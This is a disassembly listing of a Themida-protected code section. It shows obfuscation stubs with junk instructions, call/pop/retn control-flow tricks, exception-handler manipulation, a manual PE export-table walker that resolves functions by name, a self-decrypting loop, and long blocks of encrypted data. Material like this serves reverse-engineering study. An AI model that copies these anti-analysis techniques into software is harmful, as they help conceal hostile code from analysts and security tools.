; ---------------------------------------------------------------------------
		rcr	byte ptr [esi-12h], 1
		and	al, 2Eh
		mov	[ebp+60B2061h],	edi
		push	0
		push	eax
		call	sub_575395
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_575395	proc near		; CODE XREF: Themida_:0057538Dp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_575395	endp

; ---------------------------------------------------------------------------
		db 0A7h, 3, 9
		dd 0B2EC995h, 0B5896006h, 60B277Dh, 2E658D09h, 6061060Bh
		dd 0CF858DF5h, 31060E94h, 0B33A99Dh, 8B609006h,	0B003BEFAh
		dd 50613C2Bh, 840F5250h, 6, 310F5250h, 310F585Ah, 0DF8B6660h
		dd 90585A61h, 7E9FCh, 41460000h, 0F09B3AA9h, 35FF64F2h
		dd 0
; ---------------------------------------------------------------------------
		mov	[ebp+60B1161h],	esi
		pusha
		jmp	loc_575413
; ---------------------------------------------------------------------------
		dd 0D8210239h
		db 0FEh, 20h, 8Ch
; ---------------------------------------------------------------------------


loc_575413:				; CODE XREF: Themida_:00575407j
		jmp	loc_57542C
; ---------------------------------------------------------------------------
		dd 14127BA7h, 0F82E50D5h, 0CE496010h, 36C81FD2h, 71C47955h
; ---------------------------------------------------------------------------


loc_57542C:				; CODE XREF: Themida_:loc_575413j
		popa
		mov	large fs:0, esp
		mov	[ebp+60B2181h],	ebx
		lea	eax, [ebp+60E954Fh]
		sub	[ebp+60B011Dh],	ecx
		xor	[ebp+60B3179h],	esi
		mov	[eax+1], esp
		pusha
		sub	eax, [ebp+60B0ED5h]
		mov	[ebp+60B0789h],	edi
		popa
		mov	byte ptr [ebp+60B2845h], 4Fh
		push	0
		push	ebp
		call	sub_57546F
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57546F	proc near		; CODE XREF: Themida_:00575467p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_57546F	endp

; ---------------------------------------------------------------------------
		db 72h
; ---------------------------------------------------------------------------
		clc
		cld
		push	8EA509E4h
		pusha
		jmp	loc_575493
; ---------------------------------------------------------------------------
		movsb
		mov	edx, 899F4206h


loc_575493:				; CODE XREF: Themida_:00575488j
		mov	cx, 42B5h
		popa
		add	dword ptr [esp], 70236A46h
		push	0
		push	ebp
		call	sub_5754AA
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5754AA	proc near		; CODE XREF: Themida_:005754A2p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5754AA	endp

; ---------------------------------------------------------------------------
		jecxz	short loc_575523
		pusha
		movzx	eax, cx
		mov	[ebp+60B2211h],	edi
		popa
		stc
		push	dword ptr [ebp+60B1355h]
		cmc
		lea	eax, [ebp+60E7D18h]
		push	0
		push	esi
		call	sub_5754E0
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5754E0	proc near		; CODE XREF: Themida_:005754D8p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5754E0	endp

; ---------------------------------------------------------------------------
		dd 0B1621Fh, 31DC388Dh,	0B059D9Dh, 0B5896006h, 60B1A25h
		dd 11E8h, 638B700h, 2D7BB8D0h, 6D95AAECh, 9D0C0DEFh, 58F5C0F2h
		dd 6AD0FF61h
		db 0, 55h, 0E8h
; ---------------------------------------------------------------------------


loc_575523:				; CODE XREF: Themida_:005754BAj
		add	eax, [eax]
; ---------------------------------------------------------------------------
		db 2 dup(0), 20h
; ---------------------------------------------------------------------------
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		pop	ebp
		mov	[esp+4], ebp
		add	dword ptr [esp+4], 1Ah
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------
		xchg	eax, esi
		fsubr	qword ptr [edi+595516CDh]
		pusha
		mov	eax, 5A1BE411h
		push	eax
		pop	esi
		popa
		add	[ebp+60B010Dh],	ebx
		jmp	loc_5755F3
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_575560
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_575560	proc near		; CODE XREF: Themida_:00575558p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_575560	endp

; ---------------------------------------------------------------------------
		dd 8B5BA9F0h, 550C245Ch, 0E8h, 0ED815D00h, 60E94D9h, 0B01858Bh
		dd 8589060Bh, 60B1355h,	315858Bh, 8589060Bh, 60B27F5h
		dd 194D858Bh, 8589060Bh, 60B0701h, 284585C6h, 0C700060Bh
		dd 0E7E9485h, 6, 4F858D00h, 89060E95h, 0B883h, 0C0335D00h
		dd 3D9589C3h, 6A060B10h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 0F7E8C357h,	9D85099Dh
		db 5, 0Bh, 6
; ---------------------------------------------------------------------------


loc_5755F3:				; CODE XREF: Themida_:00575550j
		mov	esp, 12FF74h
		sub	[ebp+60B0595h],	eax
		pop	large dword ptr	fs:0
		push	0
		push	esi
		call	sub_575610
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_575610	proc near		; CODE XREF: Themida_:00575608p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_575610	endp

; ---------------------------------------------------------------------------
		pop	edx
		jmp	loc_575630
; ---------------------------------------------------------------------------
		dw 0FFABh
		dd 98C2B3C5h, 0C366151h
; ---------------------------------------------------------------------------


loc_575630:				; CODE XREF: Themida_:00575621j
		jbe	loc_57563C
		add	[ebp+60B1215h],	edx


loc_57563C:				; CODE XREF: Themida_:loc_575630j
		pusha
		mov	bl, 96h
		adc	esi, 6FBB46AAh
		popa
		add	esp, 4
		add	[ebp+60B220Dh],	esi
		popa
		jmp	loc_5756D8
; ---------------------------------------------------------------------------
		push	ebx
		push	ecx
		push	edx
		push	esi
		push	edi
		mov	ebx, [esp+1Ch]
		cmp	word ptr [ebx],	5A4Dh
		jnz	loc_5756D1
		movzx	eax, word ptr [ebx+3Ch]
		add	ebx, eax
		cmp	word ptr [ebx],	4550h
		jnz	loc_5756D1
		mov	ebx, [ebx+78h]
		add	ebx, [esp+1Ch]
		mov	esi, [ebx+24h]
		add	esi, [esp+1Ch]
		push	esi
		mov	edi, [ebx+20h]
		mov	esi, [ebx+1Ch]
		add	edi, [esp+20h]
		add	esi, [esp+20h]
		cld
		or	ecx, 0FFFFFFFFh


loc_57569B:				; CODE XREF: Themida_:005756B1j
					; Themida_:005756B9j
		inc	ecx
		mov	ebx, [esp+1Ch]
		mov	edx, [edi]
		add	edx, [esp+20h]
		add	edi, 4


loc_5756A9:				; CODE XREF: Themida_:005756B5j
		mov	al, [edx]
		test	al, al
		jz	short loc_5756B7
		cmp	al, [ebx]
		jnz	short loc_57569B
		inc	ebx
		inc	edx
		jmp	short loc_5756A9
; ---------------------------------------------------------------------------


loc_5756B7:				; CODE XREF: Themida_:005756ADj
		cmp	al, [ebx]
		jnz	short loc_57569B
		pop	edi
		shl	ecx, 1
		movzx	eax, word ptr [edi+ecx]
		mov	eax, [esi+eax*4]
		add	eax, [esp+1Ch]


loc_5756C9:				; CODE XREF: Themida_:005756D3j
		pop	edi
		pop	esi
		pop	edx
		pop	ecx
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_5756D1:				; CODE XREF: Themida_:00575663j
					; Themida_:00575674j
		xor	eax, eax
		jmp	loc_5756C9
; ---------------------------------------------------------------------------


loc_5756D8:				; CODE XREF: Themida_:00575650j
		mov	ecx, edx
		call	loc_5756E7
		dec	esi


loc_5756E0:				; CODE XREF: Themida_:00575720j
		xchg	eax, ebp
		sub	ebp, esp
		dec	ecx
		sbb	[edx], ebx
		daa


loc_5756E7:				; CODE XREF: Themida_:005756DAp
		jmp	loc_5756F1
; ---------------------------------------------------------------------------
		dd 2382A580h
		db 0B9h
; ---------------------------------------------------------------------------


loc_5756F1:				; CODE XREF: Themida_:loc_5756E7j
		pop	esi
		mov	ebx, 4A61D0DEh
		add	esi, 6922h
		push	ebx
		jmp	loc_57570F
; ---------------------------------------------------------------------------
		db 65h
		dd 99F06836h, 91D3D6DDh
		db 33h,	18h, 86h
; ---------------------------------------------------------------------------


loc_57570F:				; CODE XREF: Themida_:005756FEj
		pop	edx
		push	1A11h
		jmp	loc_575726
; ---------------------------------------------------------------------------
		das
		mov	eax, ds:57389E0Dh
		jmp	short loc_5756E0
; ---------------------------------------------------------------------------
		dw 217Ah
		db 0A0h, 0DBh
; ---------------------------------------------------------------------------


loc_575726:				; CODE XREF: Themida_:00575715j
		pop	eax
		adc	dx, 9336h


loc_57572C:				; CODE XREF: Themida_:005757AAj
		mov	edi, [esi]
		movsx	edx, si
		sub	edi, 4D6DB8D3h
		jge	loc_575745
		jbe	loc_575745
		mov	dl, 72h


loc_575745:				; CODE XREF: Themida_:00575737j
					; Themida_:0057573Dj
		xor	edi, 65F0F321h
		jz	loc_575756
		adc	dx, 2C81h


loc_575756:				; CODE XREF: Themida_:0057574Bj
		sub	edi, 42C843BFh
		pusha
		cmc
		mov	bl, ch
		popa
		push	edi
		and	dl, 5Ah
		pop	dword ptr [esi]
		jmp	loc_575774
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0B9h, 3Ah, 8Bh
		dd 0A9E54939h
; ---------------------------------------------------------------------------


loc_575774:				; CODE XREF: Themida_:00575767j
		sub	esi, 2
		mov	ebx, esi
		dec	esi
		dec	esi
		xor	edx, 698A6F67h
		sub	eax, 1
		jnz	loc_5757A4
		xor	bx, 0E3B3h
		jmp	loc_5757C1
; ---------------------------------------------------------------------------
		dd 0D69345C1h, 18418779h, 0AF71F254h, 31A09748h
; ---------------------------------------------------------------------------


loc_5757A4:				; CODE XREF: Themida_:00575784j
		xor	ebx, 2F698FD4h
		jmp	loc_57572C
; ---------------------------------------------------------------------------
		db 0EFh
		dd 9252C9FDh, 4A992794h, 9D86D175h, 6D3D4CB4h
		db 0C7h
; ---------------------------------------------------------------------------


loc_5757C1:				; CODE XREF: Themida_:0057578Fj
		call	sub_5757CF
		sti
; ---------------------------------------------------------------------------
		db 0Fh
		dd 0A11C2271h
		db 7Ch,	5, 18h

; =============== S U B	R O U T	I N E =======================================



sub_5757CF	proc near		; CODE XREF: Themida_:loc_5757C1p
		jnp	loc_5757E7
		call	sub_5757E6
		jmp	far ptr	5D06h:5FC80E45h
sub_5757CF	endp

; ---------------------------------------------------------------------------
		db 5Ch,	0D2h, 15h
		db 94h,	10h

; =============== S U B	R O U T	I N E =======================================



sub_5757E6	proc near		; CODE XREF: sub_5757CF+6p
		pop	edx


loc_5757E7:				; CODE XREF: sub_5757CFj
		pop	edi
		add	edi, 6B1Ch
		and	dh, 0C1h
		sub	ebx, ebx
		js	loc_575817
		jns	loc_575817
		jmp	loc_575817
; ---------------------------------------------------------------------------
		dd 0F343E152h, 0BAAE7559h, 823C8108h, 25884514h
		db 68h,	0D9h, 0BEh
; ---------------------------------------------------------------------------


loc_575817:				; CODE XREF: sub_5757E6+Dj
					; sub_5757E6+13j ...
		push	dword ptr [ebx+edi]
		sub	edx, 3CF3D624h
		pop	esi
		add	esi, 3E8A2A06h
		mov	ecx, 2D896138h
		sub	esi, 4EE044CFh
		sbb	ax, 8B9Bh
		sub	esi, 1CCBDE98h
		jmp	loc_57584D
; ---------------------------------------------------------------------------
		dw 0B919h
		dd 9E10D608h, 0F78F3A45h
		db 3Ah
; ---------------------------------------------------------------------------


loc_57584D:				; CODE XREF: sub_5757E6+57j
		mov	[edi+ebx], esi
		add	dx, 676Bh
		sub	ebx, 4
		jnp	loc_575861
		mov	dx, cx


loc_575861:				; CODE XREF: sub_5757E6+72j
		cmp	ebx, 0FFFF95B8h
		jnz	loc_575887
		mov	dx, 8426h
		jmp	loc_57589E
; ---------------------------------------------------------------------------
		dw 15CDh
		dd 0A058FC65h, 7163D328h, 67024F2Eh
		db 8Ch,	9, 0D9h
; ---------------------------------------------------------------------------


loc_575887:				; CODE XREF: sub_5757E6+81j
		sub	cl, 0D2h
		jmp	loc_575817
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0C8FA464Dh, 0AB94660Bh, 78596C3Ch
		db 0A3h, 9Dh
; ---------------------------------------------------------------------------


loc_57589E:				; CODE XREF: sub_5757E6+8Bj
		jmp	loc_575988
; ---------------------------------------------------------------------------
		db 10h
		dd 0DCFFEE4Dh, 1D1F3271h, 0DD7A0E0Ah, 3733538Fh, 557D2F6Dh
		dd 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h
		dd 0D55FEDF7h, 37335375h, 557D2F6Dh, 7F2D773Dh,	7DD77DD5h
		dd 6D171E57h, 602075DFh, 20206020h, 2060E0E0h, 0F77B68ACh
		dd 20A1E4A9h, 0A693B2D0h, 0B99DB7EDh, 0ACA3F291h, 60206020h
		dd 20206020h, 2060E0E0h, 0A335375h, 557D2F0Dh, 60206020h
		dd 0A7286020h, 50F0362Bh, 0B6F360D6h, 0F796A1EFh, 0E3A7B4E0h
		dd 0F47192B8h, 6DB9E9B3h, 602060F7h, 60206020h,	6DF72020h
		dd 73351ADFh, 3D577DD7h, 0D55FEDF7h, 37335375h,	557D2F6Dh
		dd 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h
		dd 0D55FEDF7h, 37335375h, 357D2F6Dh, 0E0A1Eh, 0A766C1A8h
		dd 43F2FD54h, 2222DA53h
; ---------------------------------------------------------------------------


loc_575988:				; CODE XREF: sub_5757E6:loc_57589Ej
		jmp	loc_576603
; ---------------------------------------------------------------------------
		push	60E9B3Fh
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60E9C40h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60E9D33h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60E9DECh
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60E9E5Eh
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60E9F00h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60EA07Bh
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60EA194h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60EA27Ch
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60EA331h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60EA3F5h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		db 89h
		dd 709D467Dh, 0DECF1425h, 8865FED3h, 77904372h,	72C1122Dh
		dd 0B588906Bh, 53841AEh, 0E8E731DEh, 0BC899A0Bh, 1E965AA7h
		dd 0C59A846Ah, 0DE960EFDh, 0A514F8D5h, 0B59D615Ch, 7C896E7Fh
		dd 0B8C49241h, 0F3D7EE36h, 2BC0C569h, 7D45BD9Fh, 0FAD72089h
		dd 957B8C79h, 8EABA009h, 3D81E587h, 60B45435h, 0F2CDD73Ah
		dd 7A455F0Eh, 6964BE96h, 74A1AB15h, 5F1ACB21h, 85146EAAh
		dd 0A02D87A1h, 0C0132E7Bh, 2D72D227h, 7468AC10h, 0F1CCD980h
		dd 7F465C0Dh, 0FBD2228Bh, 1FAEEA17h, 0D28A0AB8h, 210586DEh
		dd 0AB505D57h, 74F0635Eh, 9E0642EAh, 6A893A60h,	0BD256597h
		dd 57E0C452h, 0D382CF1Ah, 2FC2A94h, 2C35C1EBh, 50FC6h
		dd 0D5DE2E00h, 50A514F8h, 0DCA0FE65h, 8C119547h, 0A1BD9F19h
		dd 0B667F559h, 0AEE2566Bh, 0E794F480h, 53413A60h, 68FBE52h
		dd 57BA2C35h, 42000000h, 754850BDh, 5733BB81h, 0D8C3941Dh
		dd 5C608EE2h, 0C4313B40h, 876987BEh, 9F05CE6Fh,	0F75BBFBDh
		dd 3753DB65h, 0B83A60CBh, 70149842h, 0F73A60CBh, 0F1916583h
		dd 243A60CBh, 59EB717Ch, 133CB9E2h, 8D8CDA1h, 3A60597Ch
		dd 0FF618FF3h, 2C35354Eh, 0E67Bh, 0D5DE8500h, 0EBE3A923h
		dd 0C2268CCFh, 0FB01EC7Eh, 0F21C70C4h, 2C3E011Bh, 69AC8Fh
		dd 8BA54166h, 0F0CDD687h, 7D485D0Ch, 0D8F53EEFh, 45708574h
		dd 8FB99DF1h, 5AAD58D4h, 89A79B6Fh, 9417BCFDh, 0DFEA3FC3h
		dd 260CAE0Dh, 84C385A0h, 0B1C896Ah, 4A524A3Eh, 0B6832B31h
		dd 0B7BD9F4Ah, 0CF0CDD6h, 2F0FD4C8h, 0C3D5C04Dh, 4CC00F4h
		dd 3A610240h, 4D9FF3C7h, 0CC7A57A0h, 12659022h,	0D17F5327h
		dd 6C935F05h, 0EAD044h,	0A3B08F95h, 0C8073E42h,	8C704085h
		dd 74F95EB4h, 0E1000009h, 48A5BE95h, 36D70C3Dh,	0E00DD6EBh
		dd 4FB8BB9Ah, 6AE90A35h, 0AD90E803h, 7D4059B6h,	0C0FF09E6h
		dd 94A1F213h, 6AE424Fh,	0C59A8642h, 0DE8E76C5h,	0CA71FBDAh
		dd 3A40DF7Eh, 0A453B71Bh, 5726FDDFh, 4D817544h,	0D227C0A3h
		dd 0BD847CE7h, 710D8C33h, 75308BFh, 94C6BBCFh, 18360CC3h
		dd 0ADF6F884h, 7FAEBC90h, 55A91D2Ch, 0C61B6F87h, 96ECC394h
		dd 0DF7EF678h, 50BD9FDEh, 3E4EE66Ah, 0EB3A61ACh, 25C43CC9h
		dd 0C2C36A2h, 0CAh, 0F8D5DEE8h,	965FA514h, 941D6A1Eh, 0AAA5F3C3h
		dd 0DF1D52Dh, 941B9425h, 0F7C2D7C3h, 0AD76836Ch, 0DCD7E80Eh
		dd 3C348DBDh, 3C6BA148h, 0C12FBDFh, 9A0BD135h, 0BC94B28Fh
		dd 0D11B207Ch, 60BF585Dh, 4E95ED42h, 65F78C10h,	6D1F88C1h
		dd 92F36844h, 17F0529Ah, 201AF917h, 8EB1CB3Ah, 0AB60B855h
		dd 72E44703h, 9EF2C830h, 70B3DE51h, 5A3D158Ch, 873h, 0A6BD949Eh
		dd 0D0033E49h, 0ED5E437h, 0B9BA99E1h, 0EA09344Ch, 93E9046Bh
		dd 4156B7ACh, 0FE06E77Ch, 0A6F31CC7h, 0A94348ABh, 9A814105h
		dd 8177C6C5h, 42511EBDh, 68192C43h, 979EE636h, 54F2D6CDh
		dd 4E9CA3F9h, 98ED475Fh, 0B1C049ADh, 36D03498h,	0A4750BDh
		dd 0D5DE2BE9h, 50A514F8h, 289FE65h, 66628A14h, 0E9C3941Dh
		dd 0E3C7FE04h, 1D91F579h, 2C16C394h, 0CCE2BA02h, 0C5398DB8h
		dd 0D6F37BE1h, 57BD9F05h, 0E0FA0C63h, 0C43FAF11h, 35B9A3B8h
		dd 46B34800h, 4C7D8865h, 0E03584F8h, 0ED0DF1D5h, 0D466F48Fh
		dd 0B54D3450h, 0A947BB36h, 82C7AFC7h, 4BD548B8h, 86CEA723h
		dd 34D2282Ch, 8C79E3D7h, 378F4879h, 677A8D53h, 8F57791h
		dd 8E18C2FFh, 86FC6266h, 0C36BE52Ch, 2C86FC87h,	30DE3208h
		dd 0E54D56B7h, 824DA19Ch, 9144CBB7h, 80A718EAh,	0ED000007h
		dd 54B1A299h, 2E37041h,	0EC19DAF7h, 5BB4AF96h, 5EE57E41h
		dd 91ACF417h, 615CA542h, 340315F2h, 98B5FE2Fh, 32BAB65Bh
		dd 0C59A8056h, 0DEF26AD9h, 1414F8D5h, 0DF69F388h, 40EEE32Eh
		dd 9F1935B4h, 13C03ABDh, 221F6491h, 5FE4B804h, 8C92038Dh
		dd 63CB9BB5h, 0DC446E4Eh, 7C8974E6h, 20759241h,	3349A115h
		dd 0E5AAC228h, 3B4E7CC5h, 5E88B5CAh, 5BFB0CE1h,	0B68A7E41h
		dd 1EC7E52h, 0D7F102F4h, 4ACB23ABh, 80AEE256h, 0DFEA3FEEh
		dd 0BA97E00Dh, 9354F2D6h, 0A0142172h, 3D2F3448h, 38E80CB3h
		dd 0D2FD9BDCh, 4E4DA034h, 0B8825048h, 8B5DFCAFh, 40070398h
		dd 6C7h, 0AE9E032h, 0A4BF8A9Dh,	0D201384Bh, 0DD6ED35h
		dd 0BEA598E0h, 0E73DD007h, 95EA1BD8h, 4A5A4BA8h, 0F207E073h
		dd 7DEF1CC7h, 9A809DE9h, 3DA312C5h, 0E4760D6Fh,	9AB50740h
		dd 5A6988BDh, 50C0622Fh, 0F59115C7h, 7A3A65DDh,	0CF3E2C00h
		dd 0BB548FBAh, 8FEF536Eh, 608456EDh, 446ED981h,	5ADF223h
		dd 46E0C4F3h, 1F76F1C9h, 0D28C70F3h, 6559F70h, 76800000h
		dd 1C6B845Fh, 0CAD9362Dh, 7B836CF7h, 2A6E9F44h,	6289C82Bh
		dd 954E718Bh, 0C51E2378h, 72E1DC28h, 0AEB58095h, 63678F5Dh
		dd 0E4C59A83h, 33BDAF15h, 941DCFBBh, 143900C3h,	0E845B193h
		dd 5978BE6Fh, 93BD91F5h, 0EA710Bh, 9A5744ECh, 15C73BBDh
		dd 0B1A29FE8h, 82764354h, 0E354DB8h, 0EA5E69BFh, 58247896h
		dd 0CA9519C3h, 7B4468EDh, 0DF28D507h, 7F42A339h, 0CBE01F2Ah
		dd 3D261A5Fh, 608AC7D0h, 22F272FBh, 0CA641825h,	0CD562646h
		dd 239A971Fh, 57AB4E7Ch, 7F78BF98h, 7BDC3692h, 5B3h, 66FDD4DEh
		dd 90437E89h, 0CE152477h, 79FAD921h, 0AA49748Ch, 0D329C42Bh
		dd 819677ECh, 3E46A7BCh, 0E633DC07h, 698308EBh,	9A8281C5h
		dd 0C1B706C5h, 14F8D5DEh, 0FE6550A5h, 0CDD2DCA0h, 587947F0h
		dd 52260B43h, 0F201EC7Eh, 0F9176BDFh, 5572FF77h, 0FFC3BD9Fh
		dd 3FB7C10Bh, 3A615A4Bh, 0BC48E6DCh, 3A615ACCh,	0BA0E354Dh
		dd 1F5C4D3h, 54DCE9C3h,	615AB4D0h, 0E3C73B3Ah, 0A15B6A4Eh
		dd 2C355388h, 31A1h, 0D6F4F00h,	0E139E476h, 0FC2A6ED2h
		dd 55BFA72h, 0EED4BD9Fh, 0CABACA1Ah, 356F3A60h,	0C7A940B8h
		dd 22802C35h, 18000001h, 0DDAC9BEDh, 3509FDC8h,	0D5DE251Bh
		dd 433C8123h, 980C72A3h, 0C3948FECh, 313B1F63h,	948FC9BDh
		dd 645EC3h, 7EB7CDBCh, 0F94D7C8Fh, 8F394D85h, 7A80C394h
		dd 2493F75Bh, 0A716FADEh, 6BF56752h, 948F87C3h,	143208C3h
		dd 0FB384D3Ch, 948F1773h, 0B78E96C3h, 0CA308FC3h, 12830DD6h
		dd 4C183603h, 0C394890Dh, 0F56E5BACh, 4E320F18h, 27354E2Eh
		dd 40CD54B8h, 6D9BD484h, 17826B83h, 0A916BD9Fh,	974CAA40h
		dd 0F350FEE6h, 720A548Fh, 5DDC03E9h, 0CA1F4F6Ah, 7C089C4Eh
		dd 0F33A6141h, 7D8F618Fh, 9AB48590h, 6CD73BCAh,	34B8B444h
		dd 3073B450h, 102D76D7h, 0F3A4D3Ch, 0F96347BBh,	2AC9F40Ch
		dd 4F98A7FDh, 8C700132h, 388E41C1h, 0A5000004h,	0CF97A51h
		dd 0FA2BC8F9h, 0A44192AFh, 13FC675Eh, 962D3609h, 6954AC4Fh
		dd 39041D8Ah, 8CBBCD3Ah, 506DB657h, 7AF27E83h, 0C59ABD0Eh
		dd 0BD4A3281h, 830A4750h, 0A5A84679h, 71F3605Fh, 0C568F7CAh
		dd 0DA52655Dh, 0C394B6AEh, 4BE5D921h, 5F84B1C2h, 800D6FB9h
		dd 941D186Ch, 0B7ABEFC3h, 1E2378A5h, 47F67EF0h,	28BD9F05h
		dd 0BE023D47h, 5292665Ah, 3A60CB32h, 0A830BDE7h, 0AA1E257Dh
		dd 0A746B856h, 822C35C6h, 0D1h,	0F11EBD6Ah, 0B2DA3FDh
		dd 66B39AB4h, 0CB55E76Bh, 940027A3h, 0B452A8C3h, 887C4359h
		dd 94061958h, 844F58C3h, 496F27Ah, 2119C394h, 9404A521h
		dd 0FCD02AC3h, 5F6ABF6Eh, 0FE7997EBh, 0DB120411h, 0FDA9D9E6h
		dd 0E800F4E8h, 0C95D8F94h, 0BD9F6220h, 0E0BEA59Dh
		dd 89FD719Ch, 1E3A612Bh, 0B60E1B24h, 4DBE3E9Eh,	796B8369h
		dd 0F2446C25h, 5CD06288h, 3073E528h, 0C3AD5BBFh, 13C44B1h
		dd 231266E7h, 0F2CDD730h, 6FB23E75h, 0A265ED8Ch, 31Fh
		dd 0D201384Ah, 0CD7E235h, 0BAB990E3h, 0D50E354Dh, 6DDE038h
		dd 4F55A8BFh, 0FD02E370h, 0A2F213C0h, 4A5F48ABh, 0D517E47Fh
		dd 9ABC3551h, 55CBBAC5h, 78FBDADEh, 35B97A8Fh, 0C3941D51h
		dd 6B88ECD6h, 0F8D5DEADh, 30B4C614h, 0C3941D54h, 0C449E7DBh
		dd 285D86B3h, 4ED5A79Fh, 96E3129Ch, 0CCF98DBBh,	2CBD9F05h
		dd 162973A2h, 60C5AADEh, 2BC53D3Ah, 0F88C202Ch,	4F3A60C5h
		dd 3630170Bh, 0E6541EBEh, 7D56E0Eh, 0C8BC8196h,	6905AF4h
		dd 94B28D97h, 2196B5C0h, 8D1B3AE8h, 41661FDAh, 6526267Eh
		dd 507021DAh, 0DFA39EE9h, 0A85587FBh, 4CC4625Fh, 21CB502Ch
		dd 2D07E58Dh, 0FA605AF2h, 886EBD68h, 0E7642758h, 0EC1A7ED6h
		dd 3A391461h, 0F37BB8CDh, 8A323297h, 4C300D16h,	574B8F08h
		dd 0B17AE598h, 593E1436h, 237h,	0FA7950A2h, 14CFFA0Dh
		dd 4291A8FBh, 0FD665DA5h, 2E350810h, 57AD4097h,	51A8B68h
		dd 0BACA3B38h, 62B75083h, 0ED7F8C57h, 9ABF0D79h, 4D3382C5h
		dd 0CFBB33BDh, 40C3941Dh, 3441CC7Ah, 76A7B519h,	0A7F71120h
		dd 0F3CEDBD5h, 5D7CB0Fh, 9F2338E1h, 16CD35BDh, 8A124E61h
		dd 2CD96BF1h, 0ED3035DBh, 0A4233DB4h, 0F80DFC40h, 0EB03E9CDh
		dd 3A60FC9Fh, 68FC2A10h, 446BE45Dh, 7FF7E8D2h, 0FBF00733h
		dd 10DA613Bh, 0C466B99Ch, 0C0B48E8Ah, 9D4FD4A8h, 0C9E56109h
		dd 76E4DE8Ch, 95477287h, 0A7E7E30Bh, 1268E8D5h,	819273F4h
		dd 0F024BBB4h, 0FF4B5515h, 18218h, 0AC9BEF00h, 724F56B7h
		dd 0C4F504E1h, 0A9A8EE1Fh, 78475D4Ah, 0F6155CFBh, 0A74093A2h
		dd 17F0635Eh, 0C02D3601h, 0B0599AB7h, 0BE5034B8h
dword_576400	dd 68D7C59Ah, 6DD5DEF0h, 64582C1Bh, 207CBC00h, 885DD11Bh
					; DATA XREF: Themida_:0053EA7Co
		dd 0B0BD9F1Ah, 16BAA60Bh, 9A52328Ah, 0B3CE1A18h, 8072105h
		dd 425C2132h, 73F9821Ah, 6B5CCEFBh, 198D5F44h, 307D2C6Dh
		dd 43A498E2h, 8F716783h, 3E4557FFh, 699DB82Ch, 0EFF8769h
		dd 3D1A3409h, 633971C5h, 0FFAD12D8h, 413DB56Dh,	7D0CEE7Fh
		dd 8F7C78C2h, 7F678F61h, 9D89723Eh, 0A3ABF13Eh,	3923FBDCh
		dd 490FD1B5h, 0C26C56EDh, 3EEF7D45h, 0E354DF5h,	0CBDCC92Ah
		dd 987871FEh, 0BF8B517Ah, 0BED8h, 0E0DF2B00h, 0B6839273h
		dd 183140ADh, 0EDD42ADBh, 0BC839976h, 32C910A7h, 0E30CD7EEh
		dd 53BCA79Ah, 3CE90A45h, 0F405DEEBh, 0BE94F074h, 0AC1BC59Ah
		dd 0F8D5DE34h, 0F3881414h, 0A04DDF69h, 0B1957954h, 941DD5B1h
		dd 0C6605AC3h, 9F19D73Eh, 0B4C7A8BDh, 0F9DD3185h, 394DE173h
		dd 8E3A60E7h, 11E5D821h, 0B42FD93Dh, 638992EAh,	6E4E9BCBh
		dd 1AEED444h, 886B66B3h, 0F003F27Ch, 0D11175D9h, 30727FB5h
		dd 2726C03Ah, 0D313E7D2h, 6C51AD3Ch, 1C85001Ah,	0C8253E0Bh
		dd 0A20217BFh, 0B2067A57h, 27967A5Eh, 0E11CE0DFh, 0A8FD22A3h
		dd 5CA9469Dh, 104F9D61h, 5A8480Ch, 45BA54A4h, 3, 0DE9C84EFh
		dd 0A009FDD4h, 27967A57h, 0AB12E6D1h, 329B6F52h, 0BA63D7EEh
		dd 2EB5F66h, 8871C5FCh,	0DFC4079h, 0CF7BCFFAh, 81E18951h
		dd 4C1h, 4E98100h, 87000000h, 895C240Ch, 8951242Ch, 4C181E1h
		dd 81000000h, 4E9h, 240C8700h, 2434895Ch, 5B2F68h, 242C8900h
		dd 0F7BD5552h, 0BA223B00h, 0E3D39860h, 895DEA01h, 8B545AD6h
